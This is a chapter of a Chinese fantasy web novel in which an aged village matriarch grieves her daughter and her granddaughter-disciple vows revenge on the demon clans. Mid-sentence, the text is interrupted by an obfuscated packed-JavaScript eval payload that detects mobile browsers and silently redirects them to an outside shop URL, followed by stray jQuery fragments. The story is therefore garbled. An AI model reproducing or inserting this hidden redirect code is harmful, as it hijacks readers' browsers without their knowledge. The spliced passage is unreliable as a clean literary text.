歌舞宴罢,所有人纷纷散去,只剩下巫祖和陈三问,以及一直默默杵在旁边的明光。
“我和巫祖有话要说,你先回去。”陈三问撑着头,带着几分微醺的酒意,对明光吩咐道,“把我们今天收的东西整理下,归个类。”
明光知道她是在找借口支开自己,但还是起身答应,“好”。
**
明光走了,陈三问吹熄了所有的蜡烛,让月亮和星星的光照下来,照的一室莹莹。
巫祖就坐在那团光里。
“你过来。”巫祖疲惫的说道。
陈三问走了过去,乖巧的坐在巫祖旁边。
巫祖枯藤般的手,慢慢的伸过来,摸索着她的脸,摸了好几遍,再次张口时,却已经满脸眼泪。
“你师父……没了?”
“没了。”
“什么时候没的?”
“上个月。”
老人坐在那里,坐了许久,久到陈三问以为她不会再说话了,才听到一句不知道是哭还是笑的叹息。
“我早知道……从她走的那天,我就知道她是活不久的。”
**
陈三问坐在那里,或许是已经哭了太多,所以此时已经麻木,甚至还有点想笑。
她想起当日的情景,仰着头,看着天上的星子,不让一颗眼泪落下。
“师父说,她活了三十一岁,够本了。”
巫祖没有说话,她按住胸口,佝偻的身子弯下去,几乎是贴着地面,整个人都要被痛苦撕裂。
可那是她的女儿啊!
她最聪明,最有天赋的女儿啊。
**
巫祖在那里无声的哭了很久,痛苦的似乎就这样蜷曲着死去。
这世道对于人族来说,太艰难了。
**
“师父说,我们自从出生之后,便只有两条路可走。
要么有修行天赋,随无极门去修行,然后成为守山人,在山林间游荡,充当一个个村落的纽带。
要么没有修行天赋,便留在村中,耕种渔猎,繁衍生息。”
“我很幸运,师父说她所见之人中,从未有天赋超过我的,所以我是她的衣钵传人……”
“可是,我的师父,我的师祖,我师祖的师父,师祖,都没有活过三十一岁的。”
“祖祖,为什么我们活的这么难?”
**
巫祖趴在那里,什么话都没有说。
妖族畏惧人族崛起,因此代代相传,对人族的天骄们管控的格外严格。
尤其是她们这些不受控制的野人。
十岁以下的小孩儿,他们并不会赶尽杀绝,甚至会捕捉带回去驯养,让他们成为完美的宠物。
十岁以上的,是狩猎的目标,但却不是重心。因为这时候的人族还太孱弱,甚至都不必出手,能活下来都很艰难。
然而二十岁以上的,便是妖族的首要目标。因为这个时候,人类进入了青年时期,身体得以强健,天赋也开始发挥,若是任其不管,极有可能出现对妖族危害极大的人。
至于三十以上的修士……能在层层拼杀之后活到这个年纪,心性与武力都几乎达到了巅峰,已经不是同辈妖族可以比拟的了,所以一旦被发现,妖族往往会采取十倍,甚至二十倍的力量,不惜一切代价的绞杀。
于是人类就被圈禁在这个怪圈中,生生不息,却极难突破。
**
妖族,修行者,普通人族,维持着一种诡异的平衡。
妖族需要野外的人族,它们越是强大,修行所需要的命珠便越多。所以顶层的贵族们几乎占据了税收的九成以上。为了避免底下的妖兵们不短折而亡,所以几乎所有的妖族城市,都放任妖兵劫掠野外的人族。
然而人又不是韭菜,杀完了一茬再长一茬。
想要源源不断的命珠,就要让野外的人族数量保持在一个可繁衍,却又不至于危害他们通知的程度。
山林的险恶,野兽的凶猛,是普通人族无法地狱的,所以修行者便是人族自身铸造的剑与盾。
庞大的人族数量,诞生少数的天骄。这些人化天地灵气为己用,博熊斗虎,能抵抗普通人抵抗不住的灾难,保证人类族群在艰难的情况下,还能稳定逐步增长。
他们就像是“牧羊犬”,源源不断的为妖族提供“羊羔”。
**
巫祖在哭。
她这双苍老的眼睛见证了太多的死亡,却始终无法习惯这种感觉。
她知道,理论上来说,修行者的身体和寿命,都比普通人类要长得多。
但实际上,修行者却是陨落的最快的。
他们大部分人,死在少年时期。
**
身为一个普通人,你或许没办法活太久。
你可能饿死,病死,被猛兽吃掉,被妖族抓去
但总有人幸运儿,能像她这样,活到满头白发。
可修行者全无可能。
他们是最强大的人,于是也跟直接的面对世界的恶意。
她们每个人都死于灿烂的少年时代,少有人能活到成年,从无白发沧沧者。
于是普通人只能不停的生,生出这些孩子,看他们长大,然后去死。
**
她真的恨!
恨自己为什么天赋平平,为什么自己就不能执剑,只能眼睁睁的看着她的母亲,姐妹,女儿,纷纷死去。
但是她又很庆幸。
庆幸自己足够聪明,足够强壮,没有那么轻易死掉。
她还活着,还能一点一点,将着她们用性命换来的知识和血脉传承下去,让她们的死亡有意义。
**
最后,是陈三问抱住了她。
她抱住了苍老的长辈,像是抱着一个孩子那样,让她趴在自己的怀里。
“祖祖,我不问了。你不要难过。”
她摸着瘦小的老太太的头发,宽大的袍子下面,全是咯手的骨头。
祖祖已经很老了啊。
她不知道祖祖多少岁,她只知道,她第一次随师父来村子时,祖祖就已经是祖母了。
这么多年,那么多人死去,她还活着,便已经是奇迹。
她生了很多孩子,这些孩子分散四方。有的死了,有的还活着,有的是修士,有的是巫,他们穿梭在一个个村寨其中,像是辛勤的蜜蜂一般,照看着“花朵”,替花朵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699758|208105||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们传递消息。
她是这座山的祖母。
所以下山前,她想来看看她。
**
“下山?”巫祖听到这话,几乎是从她怀中蹦了出来。
她看着她,又惊又恐,枯藤一样的手压住陈三问的头,另外一只手死死的搂住她,似乎把这个孩子揉到骨血里藏起来,不被命运找到。
“对,下山。”陈三问又强调了一句,平静而笃定。
“你难道忘了山上的规矩?”
“我当然没有忘。不许下山,不许寻仇。”陈三问笑了起来,她拍了拍老人,示意她淡定下来,“那是入门学的第一课。”
“那你还……”
“可这是山的规矩,不是我的规矩。”
少女在微笑。
她长着一张很成熟的脸,不笑的时候冷冷的,但笑起来时,就会被人发现她其实颊边还有点婴儿肥,年纪并不大,眼睛圆溜溜,格外乖巧无辜。
她从小就是这样,每次惹了事,闯了祸,就这么乖乖巧巧的看着人,让你舍不得教训她。
如今她就坐在那里,乖乖巧巧的说着石破天惊的话,“我的规矩就是,杀人偿命,欠债还钱。”
“他们杀了我师父,我就要下山报仇。”
“这很危险。”巫祖挣扎着做起来,握着她的手,却不知道这孩子为什么会有这样的想法。
他们已经弱小到连应付敌人的围剿都有些来不及了,又怎么能去主动招惹?
这么多年,就是深知主动出手会引来山下的报复,招致灭顶之灾,这才立下了不许寻仇的规矩。
“留在山上就不危险了吗?”陈三问坐在那里笑着反问,“今年的扫荡比去年来的多,也来的狠。我收集了各个村子的记录,我们新增的人口又快要被杀光了……我们总不能辛辛苦苦将这些孩子养大,然后让他们变成滋养妖族的命珠。”
巫祖哑然。
“我总归是要死的……若是不明不白的死在山下,我更想死在去复仇的路上。”
**
陈三问是个固执的人,一旦她做了决定,没有人能够阻止她。
“你放心,后事我已经安排好了。”她坐在那里,把一切计划都摊开了讲,“你看我从懂事起就捡人,捡了二十多年,积累下的人也不少了。……况且还有师兄师姐们……如果我死了,无极门的传承不会断,一切都不会有影响的。”
不,会有的。
巫祖在心里轻轻的说。
你是我女儿的弟子,我已经没有别的亲人了,你是我在这世间唯一的亲人。
如果你走了,我的世界就会变得一片空白。
但她什么都没有说。
她已经很老了。
她是个长者,她是祖母,她是孩子们的避风港和主心骨,所以不管什么发生,她必须平静面对,必须冷静的一切噩运与灾难,然后尽可能让危害降到最低。
所以她沉默了许久,最后还是咽下了劝阻。
像是曾经那么多次送别女儿一样,她拍了拍她的手说道,“再多住几天吧。”
“林子里的野杏熟了,你不是最爱吃那个吗?”
“我做点果脯给你带走。”